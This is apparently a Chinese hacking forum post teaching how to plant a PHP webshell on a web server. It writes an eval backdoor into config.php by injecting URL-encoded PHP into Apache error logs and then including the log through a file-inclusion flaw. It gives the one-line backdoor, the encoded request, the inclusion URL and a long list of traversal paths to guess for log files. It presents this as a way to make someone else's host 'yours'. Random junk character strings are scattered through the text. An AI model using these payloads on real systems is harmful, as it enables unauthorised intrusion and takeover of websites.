php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
/ h/ Z2 v: c1 V
& d2 B9 \# g& Z' d2 {1 M9 D比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
/ a$ n4 g# D8 ]2 d# t
0 l  S+ L' t. M4 |! [* ]到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
$ \9 k4 K8 b& m8 d: J& Hfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

+ @. ~  C% v, v+ J5 x<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
) D0 e" h) S! o1 }; Ofclose($fp);?>   //在config.php里写入一句木马语句

% i/ f6 a: g% ?9 V) z* `7 t我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
( w7 G8 Y. O8 F1 M8 Q3 R9 A%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
) y/ [4 C- M! _3 G0 l9 f) E: D%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
4 V( K- Z& B+ |1 J" q& a! E3 nhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

3 y4 P2 K$ m3 K2 n# S: G6 V这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
  {  Y: g, h4 x- g# o& y5 c直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
7 q- _; O) m/ g. `( \8 G, X5 B2 m../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
- T* J( ^$ p8 D$ s" J7 b../apache/logs/error.log
0 m2 w2 U/ \- Y../apache/logs/access.log
0 S7 ~+ h. n/ P. a( ]../../apache/logs/error.log
../../apache/logs/access.log
# L  D4 [' R" _+ p1 p2 _../../../apache/logs/error.log
' K+ a  l+ X  F../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
" \) y! ]2 B1 w* ^( |4 o2 M../../../../../../../../../../etc/httpd/logs/error_log
% H4 U# a" f# N2 O* Y% b+ P../../../../../../../../../../etc/httpd/logs/error.log
/ {. x9 L: U( @+ I) c& S* y, @- Z( }../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
' C: n  q; F+ W7 h: s7 a; C- M../../../../../../../../../../usr/local/apache/logs/access.log
8 [4 M, c/ _4 `6 T+ e0 b../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
% g: C7 a& Y7 x* |; p& M5 ]../../../../../../../../../../usr/local/apache/logs/error_log
8 I/ p' H4 T/ y9 a- R* v5 e../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
  u  s6 t: E0 X& `5 M% }! e../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
" B! i9 y2 O# I7 ^/var/log/httpd/access_log      
" z7 M6 _1 c; I( i" [4 a/var/log/httpd/error_log     
. [/ i) X* V5 \% e../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
6 h( g2 q. B, `1 |  s% Q0 Z../../../apache/logs/access.log
; ~3 e% f: L( m' j/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
" p2 d& ]4 S/ d/etc/httpd/logs/error_log
0 a( L2 x( ^, |8 x/etc/httpd/logs/error.log
3 V6 z4 o. u6 y1 z) b/var/www/logs/access_log
/var/www/logs/access.log
' c0 `& C3 O5 J' u/usr/local/apache/logs/access_log
: Z, }% ?' V# S1 n/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
+ A2 Q! g. l+ J+ k. x2 _: ?' _/var/www/logs/error_log
$ |# I: ^% j, c$ H/var/www/logs/error.log
1 X3 k* s& x- T% o. }2 P8 r/ {% M/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
3 m! L  m5 {( l- V0 X/var/log/apache/error_log
6 W4 e  T" Q( f& S$ z0 W6 e/var/log/apache/error.log
/var/log/access_log
9 Q8 d! O( g8 \- l" z$ x) q/var/log/error_log